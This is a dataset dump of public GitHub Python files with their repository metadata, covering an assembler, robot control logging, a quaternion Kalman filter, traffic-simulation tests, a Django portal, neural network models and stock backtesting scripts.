blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
d99fab115ba894e29fbbfe9247645be7ba283353
80a3d98eae1d755d6914b5cbde63fd10f5cc2046
/autox/autox_ts/feature_selection/__init__.py
dc8ea061d68ac26f5ad528338ccff08adf67947f
[ "Apache-2.0" ]
permissive
4paradigm/AutoX
efda57b51b586209e1d58e1dab7d0797083aadc5
7eab9f4744329a225ff01bb5ec360c4662e1e52e
refs/heads/master
2023-05-24T00:53:37.109036
2023-02-14T14:21:50
2023-02-14T14:21:50
388,068,949
752
162
Apache-2.0
2022-07-12T08:28:09
2021-07-21T09:45:41
Jupyter Notebook
UTF-8
Python
false
false
42
py
from .feature_filter import feature_filter
[ "946691288@qq.com" ]
946691288@qq.com
de7cf6f6593d01a06001d322436c1cee71cf8081
ae5b4038958980c44ea835c885be0a71b782101b
/assembler/assembler.py
930bd6f641a694f8e05cca2553d83392dc41f4f0
[]
no_license
chorton2227/nand2tetris
f399d0efe79382f5be5bd1be989602a2eee70ec7
d610353677b83d3ac79876438d2a1b616849aabc
refs/heads/main
2023-07-18T13:25:01.024435
2021-09-05T01:10:17
2021-09-05T01:10:17
399,528,559
0
0
null
null
null
null
UTF-8
Python
false
false
3,006
py
#!/usr/bin/python3 import sys import getopt import os import re from parser import Parser from command_type import CommandType from code import Code from symbol_table import SymbolTable class Assembler: def __init__(self): self._symbolTable = SymbolTable() self._symbolAddress = 16 self._r...
[ "chorton2227@gmail.com" ]
chorton2227@gmail.com
36e00994415966d00f97e2e35bdd3363bbf81c4f
6747a5221f9d78411ed3fa06ab073833d7c74c7d
/segway_program/control_log.py
d6f7e0baf27a1077b03079cf87578b726362861e
[]
no_license
shuanghux/FYP_Ballbot
2eea4b5456171ef33bf0c3d133f53d69037e7ac0
188a5ed6c67a0c2ca8531af25ecd4c93978a1201
refs/heads/master
2021-01-20T04:42:15.997670
2017-04-28T19:51:35
2017-04-28T19:51:35
89,716,549
0
1
null
null
null
null
UTF-8
Python
false
false
15,537
py
#!/usr/bin/env python2.7 from __future__ import division import subprocess import time import math from collections import deque import numpy as np import scipy.io as sio ######################################################################## ## ## File I/O functions ## ############################################...
[ "shuang.hux@gmail.com" ]
shuang.hux@gmail.com
da826201f915ff3c81b1a93f54e6eb657bcd129c
362e02c0f76781aa9a7009915622dcef41ad1934
/Gloss2Avatar/create_interpolation_dataset.py
4ee4f18d521c3dfc62f61d31b0b06e7fcfc5fb18
[]
no_license
dung-n-tran/Speech-to-ASL-1
0031988fea40369af7f7bce5a411a59a2778b7d5
e66dd2363cc828b8260a683ee9cb81208dd2f4cf
refs/heads/master
2023-07-29T04:38:41.325796
2020-08-05T17:12:43
2020-08-05T17:12:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,402
py
import torch from tqdm import tqdm import os import numpy as np num_intermediate_frames = 20 dataset_x = [] dataset_y = [] # Load data data_dir = 'data/RawData/' avatar_data_dir = os.path.join(data_dir, 'npy_dir') pose_data_dir = os.path.join(data_dir, 'pose_npy_dir_avi') files = os.listdir(pose_data_dir) for file in...
[ "yellow@yellow.cs.columbia.edu" ]
yellow@yellow.cs.columbia.edu
4fe9a4ffc31dd600f95fa41b2d07a2101cb7274a
87aed0322a0909831c3747eb72991ea6052c8ff6
/qukf/qukf.py
2ff5d8ea2f45a6a784b88f998dc550d4bd467344
[ "MIT" ]
permissive
darfire/qukf
cc253f30f3891509a1d198c8c65e721d6824c221
2734ad344a60aed47ebecc244b734d8befd48e9b
refs/heads/master
2021-01-13T16:38:54.218444
2017-01-12T10:41:57
2017-01-12T10:41:57
78,666,921
0
0
null
null
null
null
UTF-8
Python
false
false
8,086
py
import numpy as np import quaternion from .utils import * class QuaternionUKFModel(object): def f(self, dt, sa, sq): """ Process model. Receives 2-part state, the non-quaternion additive state and the quaternion state. Returns the updated state as a tuple. """ pass def h(self, sa, sq, hi...
[ "doruarfire@gmail.com" ]
doruarfire@gmail.com
6b6d9fc3204f4ce172fc2da5ecfbfcbcfd7094c9
4b028a9d655a9b25757a58708f030afee909c689
/tests/fast_tests/test_environments.py
62c41c0c013f7dd0e1f45db84e10cdd886acd8f0
[ "MIT" ]
permissive
MouvementMondial/flow
3316f25349d5ddea255732f145f394768cb90f43
3776951824937a0c8f36670d14d8bc6b338d8fe6
refs/heads/master
2020-04-22T21:00:55.560454
2019-02-19T11:20:41
2019-02-19T11:20:41
170,659,496
0
0
null
2019-02-14T08:57:11
2019-02-14T08:57:11
null
UTF-8
Python
false
false
30,599
py
import random import numpy as np import unittest import os from scipy.optimize import fsolve from copy import deepcopy from flow.core.params import VehicleParams from flow.core.params import NetParams, EnvParams, SumoParams, InFlows from flow.controllers import IDMController, RLController from flow.scenarios import Loo...
[ "akreidieh@gmail.com" ]
akreidieh@gmail.com
802eca46c3e683e50f6e47f7a5d22d1b059841c1
b80c84125f8176d5e40ffd51af36a0aed2df9d7c
/roboPortal/views.py
df87e4b4fe81d4d9cd6354a524d49fb76790be56
[]
no_license
bhatiaisb5300/RobotixDevelopmentv1
cbee6f90f06c85c8bfec308e8d35ef3a2587e263
6d541bdc8a9b89565c103fdff53a28373b0afb8b
refs/heads/master
2022-12-13T10:12:30.841794
2020-02-15T15:33:00
2020-02-15T15:33:00
223,969,445
0
1
null
2022-12-08T05:24:26
2019-11-25T14:35:35
JavaScript
UTF-8
Python
false
false
7,171
py
from django.shortcuts import render, redirect from django.http import HttpResponse, Http404 from django.contrib.auth.models import User, auth from django.contrib.auth.decorators import login_required from django.core.mail import send_mail from django.conf import settings from .models import portalUser, UserLink, Token,...
[ "ayushganguli1769@gmail.com" ]
ayushganguli1769@gmail.com
a6d03f5aa8fec4ad3c7ddec43ee5307971146cfd
218cd690275dbe13fc7588a1fe6a7fa9b054e360
/fRT/functions/transformations.py
ee884542542a9652bc529c78f8f5e6b828ee1930
[]
no_license
j-petersen/conceptual_RTmodel
694a868d192ceac55192213961b40365e5170a67
c07b14507043ccf592995d181217e7970fd04376
refs/heads/main
2023-07-06T12:15:07.012714
2021-08-19T09:51:34
2021-08-19T09:51:34
302,001,023
0
1
null
null
null
null
UTF-8
Python
false
false
4,833
py
import numpy as np from fRT.functions.scattering import * __all__ = [ "stokes_rotation_matrix", "transformation_angle", "transformed_rayleigh_scattering_matrix", "convert_direction" ] def stokes_rotation_matrix(eta): """Calculates the Stokes rotation matrix L(eta) for the angle eta. Based on...
[ "jon.petersen@web.de" ]
jon.petersen@web.de
34ef5702e08eb750d05ed8d2b1321521cc1e69c8
b3f858b25f825881912fac7ab163eb56432688cb
/README.py
672b84ed9627ba3de4d683a8db0a510ec0a2373a
[]
no_license
simransethi643/know-the-news-around-you
7e5934fd595d6adeb469c8f2cd5bde8bbd23d602
ae2c21327559ff48f7ec06fe6b0f8886c30528ce
refs/heads/main
2023-02-23T05:26:08.076904
2021-01-31T08:07:55
2021-01-31T08:07:55
334,331,330
0
0
null
null
null
null
UTF-8
Python
false
false
1,382
py
<b style="color:black">Know the news all around you</b> <p style="color:black">How are you feeling today?</p> <html> <head> <meta charset="utf-8" /> <title>Know the news around you</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <div class="btn-group"> <button id='btn1' t...
[ "noreply@github.com" ]
simransethi643.noreply@github.com
67afec9212a1433422a4bc56f2afbeca8ea194b9
e66fa131cff76fa3fe70e7b6649fa1332159c781
/ch06/Packages.py
8ff16ca6520d9fb4e3c32d634368017d536a0500
[]
no_license
chc1129/python_tutorial
c6d97c6671a7952d8a7b838ccb8aa3c352fa6881
2f8b389731bafbda73c766c095d1eaadb0f99a1c
refs/heads/main
2023-08-24T07:00:43.424652
2021-10-28T16:07:57
2021-10-28T16:07:57
341,532,732
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
import sound.effects.echo sound.effects.echo.echofilter(input, output, delay=0.7, atten=4) from sound.effects import echo echo.echofilter(input, output, delay=0.7, atten=4) from sound.effects.echo import echofilter echofilter(input, output, delay=0.7, atten=4)
[ "chc1129@gmail.com" ]
chc1129@gmail.com
4a2a310ab7b1ec606a8d5eadb81465b0187370a1
6d58d19be7d50043bda4bd1dd96fb5bd8c09a5c4
/start_up.py
af4220ac79a861fc21ca76437af16758e5541656
[]
no_license
wrishel/HETP_Scan_control
2b38a464fe65f84fbe0b602a567a4d804d576aba
09db13cba3d9de172d08eadc72200169df9f7cbc
refs/heads/master
2021-02-17T10:24:41.127392
2020-03-05T06:52:24
2020-03-05T06:52:24
245,085,678
0
0
null
null
null
null
UTF-8
Python
false
false
9,437
py
'''Start up panel Mainpanals page for the scanning user. Normally run once a day. Maintains the scanning.ini file among other things. ''' from etpconfig import Scanconfig from ETP_util import msgBox import GLB_globals import os from PyQt5 import uic from PyQt5.QtCore import QCoreApplication from PyQt5.QtCore impor...
[ "wrishel@gmail.com" ]
wrishel@gmail.com
441934b38f27244858648d9c42a7abec18e645ad
ad83f457fc3adf73802dad0738a252a0e41b74d4
/adaboost/tree_stump.py
71c3d9f5fd94d0a232acbdc363d375f483be0316
[]
no_license
Taotao1992/static_study
a59a54a246e2af9f6e9a7edbfb636acf7f228a9c
1e92b801660d97587adb097ac24ab23ad264a5b8
refs/heads/master
2020-06-18T02:32:43.393353
2017-10-07T14:53:49
2017-10-07T14:53:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,295
py
# -*- coding:utf-8 -*- """ author: zzqboy date: 17-5-26 单个结点的树桩,训练过程为CART树的过程 """ from __future__ import division from itertools import izip from numpy import * class Stump(object): def __init__(self): self.s = None self.c_final = [] self.se = None # 当前这颗树的总平均损失 self.se_i = [] #...
[ "1163802968@qq.com" ]
1163802968@qq.com
8776f9c2a28d2996591a7f869b6527767c58cc11
1665b1a8e48fd8936bb5a2b323829e8735ab460d
/shop/migrations/0003_auto_20190928_0055.py
ea1e56eab6b8f5f3c9d6e563eb6fb98ca0d5001b
[]
no_license
daule1999/daule1999.github.io
433b8cdb98a638702e511bca4652ac1c11a6e885
56dc2a8a38537fe33d4bcb548cdf6a4c4df7bcd9
refs/heads/master
2020-09-16T03:41:40.420453
2020-04-29T11:53:00
2020-04-29T11:53:00
222,991,213
0
0
null
null
null
null
UTF-8
Python
false
false
988
py
# Generated by Django 2.2.4 on 2019-09-27 19:25 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop', '0002_auto_20190826_1822'), ] operations = [ migrations.CreateModel( name='Contact', fields=[ ...
[ "37247963+daule1999@users.noreply.github.com" ]
37247963+daule1999@users.noreply.github.com
0078bebbfea63fa1badc1db1ce50cbee059035cb
c1fabf9660cf8cd05ee1d6343d4e5be3f37d069a
/BGNN/GraphSage/auto_graphsage_check_top10.py
6fc73ea3f6c0f8d4f25c29ec3de9ecf644658c92
[ "MIT" ]
permissive
DanielHolmelund/Learning-and-Visualizing-Bipartite-Network-Embeddings
087175747981d411af6e291b64c621eff5d45603
19138b3a8bb6e0d6f8b0f88398f159a4c0635fee
refs/heads/master
2023-05-31T12:47:41.392938
2021-06-21T20:00:40
2021-06-21T20:00:40
337,565,110
0
1
null
null
null
null
UTF-8
Python
false
false
3,133
py
import os from time import sleep def topten(auc_dict, paras): if len(auc_dict) < 10: return auc_dict_sorted = sorted(auc_dict.items(), key=lambda d: d[1], reverse=True) print("BGNN. The top 10 AUC will be:") cnt = 0 for (index, auc) in auc_dict_sorted: (batch_size, epochs, lr, we...
[ "57214933+Laitallis@users.noreply.github.com" ]
57214933+Laitallis@users.noreply.github.com
9544a45aab0a2d8a39ca2f192aec64681e5e9276
4749f353f5df6adf0d4dd264f82d5d92f3c82d84
/Backtesting/OTMContractBackTesting.py
70b692fa6bf4b2cbefa4c7c3efa4ef2a731a60c7
[]
no_license
kumars99/TradingScripts
6bd7740e60877904a837dac4bea7ce49352b1704
b916eb8a69e349ad19d9893262cd27c5aedade2f
refs/heads/master
2023-02-22T01:45:35.883845
2021-01-28T04:32:11
2021-01-28T04:32:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,353
py
import csv from datetime import timedelta import time from dateutil import parser import DerivativeUtils as outil import GenericStatPrinter as gstats import PatternRecognition as pr import ScrapUtils as nse_bse import Utils as util def get_stock_data_set(stock_data, date): stock_data_subset = [] for data i...
[ "himanshu4529.pec@gmail.com" ]
himanshu4529.pec@gmail.com
42697440e9a16eb57620607212026defd2e432ee
80a45d385d306e26410ec742023e80850528c1a5
/Wave1/Lab1of6.py
c168fbfb603464828f3ab3c66a84de4ac994b6b4
[]
no_license
Aswadhardi/WejapaInternships
e87abcac76b35bf8cd49ca0abc51293c53bba6fd
5dfafa1c58702a77f5ffc993b276c9167858202a
refs/heads/master
2022-12-04T22:41:38.215442
2020-08-24T15:36:39
2020-08-24T15:36:39
282,212,775
1
0
null
null
null
null
UTF-8
Python
false
false
372
py
username = "Kinari" timestamp = "04:50" url = "http://petshop.com/pets/mammals/cats" # TODO: print a log message using the variables above. # The message should have the same format as this one: # "Yogesh accessed the site http://petshop.com/pets/reptiles/pythons at 16:20." print('\"'+username + ' ' + 'accessed the si...
[ "noreply@github.com" ]
Aswadhardi.noreply@github.com
53564b0dbb1fb2ca036162b4a6dc25d45b8bdaf8
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03846/s787181482.py
9e79a1ae234c00a297c69bb69d20566532f2d43a
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
465
py
def main(): N=int(input()) A=list(map(int,input().split())) mod=10**9+7 ans=1 A.sort() if N%2==0: for i in range(0,N,2): if A[i]!=A[i+1] or A[i]!=i+1: print(0) exit() ans=ans*2%mod print(ans) else: if A[0]!=0: print(0) exit() ans=1 for i in range...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
e0610c8768b205998a61ada0437f700fe9f6f474
6a6410fa7fe4a6a4ba573e9e3312b69a7cacc72b
/app.py
0ca15ff8b286fa49cc6ad693e7cd758723fb7c2d
[]
no_license
bjk116/homesite
05341748863c9143606410d91ecd1d830dca5356
0d1d58a367cf8711bd1426989a337f6e470ac609
refs/heads/master
2023-01-08T07:00:19.192385
2020-11-08T12:49:08
2020-11-08T12:49:08
311,058,740
0
0
null
null
null
null
UTF-8
Python
false
false
2,931
py
from flask import Flask, render_template import datetime import mariadb from flask_bootstrap import Bootstrap app = Flask(__name__) Bootstrap(app) dbConfig = { 'host':'127.0.0.1', 'port':3306, 'user':'flask', 'password': 'flask', 'database':'ubuntu' } paramToDBMap = { 'todos':{'tableName...
[ "ubuntu@ubuntu.home" ]
ubuntu@ubuntu.home
2efe060ea5aff877fd8ffa1bda0eae2d9b156ce0
115ef7a9ffc88148b7439bd25ef3c97720be87e6
/OEMS_v2.0/chalicedir/vendor/sqlalchemy/testing/requirements.py
ec1eeb1dcb0fcf5ffa028a828fc6908a05c3511c
[]
no_license
octicalpha/billions
387bc0db600dd97915be0cece710237ff626b86c
5465c527d614ae64789906197c1effe7ba94d373
refs/heads/master
2020-04-01T21:35:50.582694
2018-10-14T05:36:50
2018-10-14T05:36:50
153,664,919
0
3
null
2018-10-18T17:53:35
2018-10-18T17:53:34
null
UTF-8
Python
false
false
25,568
py
# testing/requirements.py # Copyright (C) 2005-2018 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """Global database feature support policy. Provides decorators to mark test...
[ "ubuntu@ip-172-31-26-154.ap-northeast-2.compute.internal" ]
ubuntu@ip-172-31-26-154.ap-northeast-2.compute.internal
a63a45282250d599182a378fb8e5ab1ebd6bb42d
bdd0161c9816df392191787ada36955cc932d1f6
/tests/test_numeric/test_eulerian_grid_ops/test_stencil_ops_3d/test_advection_flux_mpi_3d.py
fa345a1a0f15ab6c733ace4c5f7eac519b6add58
[ "MIT" ]
permissive
fankiat/sopht-mpi
56ff537f409ee8cb56c649e090764e4b4a425889
e5c4fb7d5e420d2ca6aea2206bb4b25185b6d92d
refs/heads/main
2023-05-14T19:46:47.756046
2023-05-01T19:35:13
2023-05-01T19:35:13
528,962,533
4
3
MIT
2023-07-06T12:56:27
2022-08-25T17:58:20
Python
UTF-8
Python
false
false
4,947
py
import numpy as np import pytest from sopht.utils.precision import get_real_t, get_test_tol from sopht.numeric.eulerian_grid_ops.stencil_ops_3d import ( gen_advection_flux_conservative_eno3_pyst_kernel_3d, ) from sopht_mpi.utils import ( MPIConstruct3D, MPIGhostCommunicator3D, MPIFieldCommunicator3D, ) ...
[ "fankiat@hotmail.com" ]
fankiat@hotmail.com
e6f6e8b3c667ab070c079d6e48d79e2fd3e11287
dfe48ab9903914d701b44996485e47c96cc611a9
/utils/models/model7.py
2902009972ff16a13bf7459b8b76e770c6219789
[]
no_license
ms5898/e4040-2019fall-project
1f4b49f8bb8f715f39e01c1c9587c3817ac76605
ed89dea9d58ab63d858618562a4cc89490fa3113
refs/heads/master
2020-12-14T05:46:09.654237
2020-01-18T00:49:44
2020-01-18T00:49:44
234,661,383
0
0
null
null
null
null
UTF-8
Python
false
false
8,203
py
import tensorflow as tf import time def SVHNmodel(input_x, input_y, label_length, is_training=False, drop_rate=0.5): if is_training == False: drop_rate = 0 with tf.variable_scope('hidden_layer_1'): conv1 = tf.layers.conv2d(inputs=input_x, filters=128, kernel_size=[5, 5], padding='same') ...
[ "ms5898@columbia.edu" ]
ms5898@columbia.edu
fb574b9eb168faba9a20e817021d5efb507b4117
1dacbf90eeb384455ab84a8cf63d16e2c9680a90
/lib/python2.7/site-packages/conda_manager/widgets/table.py
ee4d3b59ef65d8779dacf64dfa73c5fa745a9e83
[ "Python-2.0", "Apache-2.0", "BSD-3-Clause", "LicenseRef-scancode-unknown" ]
permissive
wangyum/Anaconda
ac7229b21815dd92b0bd1c8b7ec4e85c013b8994
2c9002f16bb5c265e0d14f4a2314c86eeaa35cb6
refs/heads/master
2022-10-21T15:14:23.464126
2022-10-05T12:10:31
2022-10-05T12:10:31
76,526,728
11
10
Apache-2.0
2022-10-05T12:10:32
2016-12-15T05:26:12
Python
UTF-8
Python
false
false
26,817
py
# -*- coding:utf-8 -*- # # Copyright © 2015 The Spyder Development Team # Copyright © 2014 Gonzalo Peña-Castellanos (@goanpeca) # # Licensed under the terms of the MIT License """ """ from __future__ import (division, print_function, unicode_literals, with_statement) # Standard library import...
[ "wgyumg@mgail.com" ]
wgyumg@mgail.com
47d3dc1de111b74f0003dab300ca7e60c4e71414
485828110fb1564e8f707a4d12e11ca630c13df9
/01_Matematica_Basica.py
6a3c3e09e14fb5c49a51f293f333853c4b76f9d5
[]
no_license
andrelmfsantos/PPGA_GoogleClass
d15d2487e2bdabb7ce555ef0b9c80c55b5315c36
0fa7e2755af429c5042fa8daad323bbdcfa1064c
refs/heads/master
2022-04-20T01:44:50.452538
2020-04-21T01:14:44
2020-04-21T01:14:44
255,124,256
0
0
null
null
null
null
UTF-8
Python
false
false
1,409
py
#!/usr/bin/env python # coding: utf-8 # <img src="http://www.sinergia.edu.br/wp-content/uploads/2016/10/uninove-logo-1200x480.jpg" align="middle" style="width:120px;height:48px"/> # ## Operações elementares da matemática # [Overleaf: Site com Expressões Matemáticas em LaTex](https://www.overleaf.com/learn/latex/List_...
[ "noreply@github.com" ]
andrelmfsantos.noreply@github.com
0582f2cb7055ba6e5d8133b7421aa813af80556e
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/pa3/benchmarks/sieve-323.py
156204efa4971bd39565e35b25809298e6391b87
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
2,581
py
# A resizable list of integers class Vector(object): items: [int] = None size: int = 0 def __init__(self:"Vector"): self.items = [0] # Returns current capacity def capacity(self:"Vector") -> int: return len(self.items) # Increases capacity of vector by one element def incr...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
a547e6fcf3c6db65645bc607f3434cf01ca1c264
76d0644d949d2ee64eb6cac74964b89e76747ada
/role/models.py
f91556e08ba658b5f849d3a8a8fdc22948ba2a67
[]
no_license
jason9797/store_system
5e9d137058a7a3da5e0a71a0a2ea6181aaad4ba9
150c323bfeb31c5b8ae50963d35d267296a3ec67
refs/heads/1.0
2021-06-26T11:12:59.614856
2016-10-10T01:16:11
2016-10-10T01:16:11
31,960,482
0
0
null
2015-06-09T07:09:49
2015-03-10T14:00:36
JavaScript
UTF-8
Python
false
false
19,087
py
# coding=utf-8 from django.utils.translation import gettext as _ # Create your models here. # from simple_history.models import HistoricalRecords from order.models import * from django.db.models import * import datetime from django.contrib.auth.models import User, Group from django.db import models # job_choices = ( # ...
[ "jason979708642@gmail.com" ]
jason979708642@gmail.com
1a10ce4f16e89cf52d5342a708f41b692dc8069c
a27f9ecf08bf255372954670a7c8e2ae081b49d4
/feedback/mot_graph.py
7e6fffbf7b388300c217b5d345844bdd05459856
[ "MIT" ]
permissive
songheony/AAA-multi
b379761aec63d54da46f9a103f87a7a2edc20462
80a988d8d312664d8ca19dee82c844183cf4f55d
refs/heads/master
2023-01-05T19:57:24.017698
2020-11-04T03:04:06
2020-11-04T03:04:06
273,406,160
0
1
null
null
null
null
UTF-8
Python
false
false
11,990
py
import sys import numpy as np import torch import torch.nn.functional as F from torch_geometric.data import Data sys.path.append("external/mot_neural_solver/src") from mot_neural_solver.data.augmentation import MOTGraphAugmentor from mot_neural_solver.utils.graph import ( get_time_valid_conn_ixs, get_knn_mask...
[ "songheony@gmail.com" ]
songheony@gmail.com
812b4c327f2356ed8df9e36a0e4c61c5fc016e57
838e0e16814f5c5995cde1cfabf315cb09f1fe39
/TensorFlow/src/Hello.py
1408c440f3e2543e68fc6f441452775ed39da7e0
[]
no_license
SujJiGoEnka/Practice
4e73f75d3bec157386393ba0c098fc479f604f2f
995425a9d67082e639d0fe92a1e6c08efb047932
refs/heads/master
2022-12-21T11:25:06.973638
2019-07-15T06:33:06
2019-07-15T06:33:06
194,059,367
0
0
null
2022-12-16T00:36:28
2019-06-27T08:55:07
Python
UTF-8
Python
false
false
611
py
# coding=utf8 import json import re def conver_integers(mystr): wordList = re.sub("[^\w]", " ", mystr.lower()).split() print(wordList) with open('E:/Important Code/index.json', 'r') as f: array = json.load(f) nums = [] for i in range(len(wordList)): value = ...
[ "suraj.durgaprasad@infrasofttech.com" ]
suraj.durgaprasad@infrasofttech.com
700f85155085feaf29a355e14af24558eafb0b7a
d91d4d2d39111012c3dd57f426041ed3dcd6fa36
/vrtiljak.py
344b87af921808daaa7ff1638ee9cccf6b8b8d73
[ "MIT" ]
permissive
fri-it2/nbp
dcab6fe6cc9d20ada1e5e2c0321f079241efa340
920fad740aef9dbea989547e365cf9a8636c1105
refs/heads/master
2022-12-05T00:16:22.989695
2021-01-07T19:19:02
2021-01-07T19:19:02
196,842,915
1
0
MIT
2022-11-22T06:13:37
2019-07-14T13:57:26
Python
UTF-8
Python
false
false
6,602
py
##### Potovanje po galaksiji z vrtiljakom KR5600 - S53MV 18.02.2019 ##### #izvajanje potrebuje najmanj python-2.7.12 in pyserial-2.7.win32_py3k import time, math, serial #uporabljene funkcije port='COM3' #ime zaporednega vmesnika pomlad=0.275 #poenostavljeno pomladisce za Julijanski koledar (del kroga) elmin=5.0 #min...
[ "noreply@github.com" ]
fri-it2.noreply@github.com
94f3f7afd7675140aa63939cb4623f9999f32a2d
f128e7cadbbfaaee5917f3f920953cc5862d7880
/04python/operationStrings.py
0a0ef1fc56048c2886ecf9861933326c62188ed2
[]
no_license
miao906612/python_learn
d75d63bd5762638b214a6bb8127c32748a770196
7c24fd51b9129efb7902a61aa3f626ea62bb2b1c
refs/heads/master
2021-01-10T06:33:19.611574
2016-02-04T15:42:16
2016-02-04T15:42:16
46,600,709
0
0
null
null
null
null
UTF-8
Python
false
false
1,380
py
# -*- coding: utf-8 -*- # Copyright 2016 Baidu Inc. All Rights Reserved. # Author: Shuo Miao (miaoshuo@baidu.com) # # Basic operations len("abc") # Length:number of items "abc" + "def" # Concatenation: a new string "NI!" * 3 # Repetition: like "NI!" + "NI!" + "NI!" myjob = "hacker"...
[ "miaoshuo@baidu.com" ]
miaoshuo@baidu.com
14af1cae7e21b55fc5466c50c1590132695a6b1b
928eb941abbb5fd9ec564ed7750fe7946ee13fbf
/plotEnergyDependence.py
0f48fde510ec290b18993dd81a043799ce17252a
[]
no_license
czercia/Orthogonalization3D
093fef77e9a89fa504f1520ef1a1a449492f56d8
b84d3992a729a0a2c6c369867d46cba6cf1f31ea
refs/heads/master
2020-09-16T07:09:29.707624
2016-08-17T12:31:33
2016-08-17T12:31:33
65,897,522
1
0
null
null
null
null
UTF-8
Python
false
false
1,839
py
import numpy as np import matplotlib.pyplot as plt import params d_vals = np.arange(params.d_min + params.delta_d, params.d_max, params.delta_d) n = np.loadtxt( params.directory + 'ResultsR4/Eigenvalues/' + str(params.n_states) + 'eigvals_d=' + str(params.d_min) + '.dat') # print n for d in d_vals: n_d = np.lo...
[ "m.sroczynska@student.uw.edu.pl" ]
m.sroczynska@student.uw.edu.pl
dc09bc1d621cb8c7a673a646382a65386449d6af
b973481c6a26d371a4d872bc6d5f1e033a4f753c
/pythonCode/ATBSWPbook/partThree/ZeroDivisionError.py
d44b98085f4bfe86339244ff8f5dd425543b84d2
[]
no_license
SnowXLee/aliyunOldCodeDir
607775e273093a3f17f44c0bbdfe2d391cb8a74a
620e50337061cb2a358473f1f6b7ab10e65c7578
refs/heads/master
2022-09-21T18:14:58.840377
2020-06-07T13:33:17
2020-06-07T13:33:17
261,498,447
0
0
null
null
null
null
UTF-8
Python
false
false
180
py
def spam(divideBy): try: return 42 / divideBy except ZeroDivisionError: print("Error: Invalid argument") print(spam(2)) print(spam(12)) print(spam(0)) print(spam(24))
[ "lx1970095437@gmail.com" ]
lx1970095437@gmail.com
6991dc207815ab48ae46791891d445b78c2359a0
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/otherforms/_recentest.py
f93941f4b13cefdd2333686e329e9b615cf9de18
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
226
py
#calss header class _RECENTEST(): def __init__(self,): self.name = "RECENTEST" self.definitions = recent self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['recent']
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
39af2e24f4ecd98ace2aa0190c3d420a2d245202
3bc3b92b1c30be2b4c8521ce303eaeb20708a7b4
/2015/solutions/04.py
404437031aa3ebacf3a9fed9eeb51d93d13fd37f
[]
no_license
marcodenisi/advent-of-code
1acc56d544e25b6d069e0afb65cfe872fb5f42a5
c9dc920fc71ccb4ba82461c5eee466828b01ba8c
refs/heads/master
2021-12-26T00:47:14.763531
2021-12-24T11:08:55
2021-12-24T11:08:55
159,386,338
4
0
null
null
null
null
UTF-8
Python
false
false
608
py
import hashlib def part_1(key): number = 0 result = hashlib.md5(f"{key}{number}".encode()).hexdigest() while not result.startswith("00000"): number += 1 result = hashlib.md5(f"{key}{number}".encode()).hexdigest() return number def part_2(key): number = 0 result = hashlib.md...
[ "marcodenisi35@gmail.com" ]
marcodenisi35@gmail.com
bd02bc29cb9562ed5c3b9751ac577abb3a5abc7a
cb459e740e535b668d3fbd47b28722e7edb9c0fb
/stockpile_app/apps.py
7fb440034b5aa09b915c598908342896e58cf457
[]
no_license
vince015/stockpile
c828b229c6fa1409490e69fdf9e28a2cc86f094e
35c0a0c356990cf0a9cca0ecda9b308041f15110
refs/heads/master
2021-09-19T13:27:39.210755
2018-07-28T11:29:04
2018-07-28T11:29:04
112,141,916
0
0
null
null
null
null
UTF-8
Python
false
false
164
py
from django.apps import AppConfig class StockpileAppConfig(AppConfig): name = 'stockpile_app' def ready(self): from stockpile_app import signals
[ "vincetapang@gmail.com" ]
vincetapang@gmail.com
684c80b784088af4b6db70dd128f2e9eeb821fe4
b82b3e1f0d847f3059ab43647fa8e5ec5f37c428
/upload_to_azure.py
a149db373154e85f7484cf48a33bf4397ea44d69
[]
no_license
nayanamangalpalli/PollutionMonitoringKit_InitialSetupPackage
fb3e76fc55246e8b0977512ee4a535a202838ff7
b41b36facbf027dea4cd260ea8926f2880c20ee7
refs/heads/master
2022-11-23T07:01:46.276808
2020-07-31T04:58:52
2020-07-31T04:58:52
284,080,861
0
0
